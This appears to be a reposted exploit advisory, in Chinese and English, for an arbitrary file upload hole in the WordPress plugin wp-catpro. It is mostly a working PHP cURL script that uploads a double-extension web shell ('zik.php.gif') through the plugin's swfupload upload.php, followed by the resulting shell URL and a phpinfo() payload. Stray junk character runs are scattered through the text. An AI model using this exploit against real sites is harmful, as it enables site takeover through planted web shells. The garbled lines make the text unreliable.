WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
/ P8 l- }4 d$ R#-----------------------------------------------------------------------

作者  => Zikou-16
7 v& g, t; c4 g) C# ?. \# N/ a邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
# c$ g5 o+ R4 R# r3 \下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
- g) T7 M7 z6 q8 e- O####
, _2 ]) Y$ V( I( F9 w
#=> Exploit 信息:
------------------
9 Z) G9 ]: f$ k  l4 ^  _# 攻击者可以上传 file/shell.php.gif
$ m6 ]; L  u0 a; L& f6 Q: {# ("jpg", "gif", "png")  // Allowed file extensions
! r3 n) {6 n) s: L# O9 u9 F2 E; A* X# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
6 v6 ~4 w; ?* a- G
#=> Exploit
-----------
<?php
! s$ O% |0 y4 h- }) m- d7 u
$uploadfile="zik.php.gif";
, q* C/ u- j; j& f! Y. N- }$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
7 Y/ l. ~, i( H4 U5 F, s7 Lcurl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
+ \1 L) d8 Z& b8 Q' s- \'folder'=>'/wp-content/uploads/catpro/'));
3 H# g6 b+ ~& H+ M# Y& qcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
. ~( U. m2 m1 N$postResult = curl_exec($ch);
7 O; ~- F7 t- I( q# Pcurl_close($ch);

9 Y# ^% I7 g* [# u7 cprint "$postResult";

5 A; A2 C" i0 YShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
phpinfo();
" g' {. P" X$ b# C?>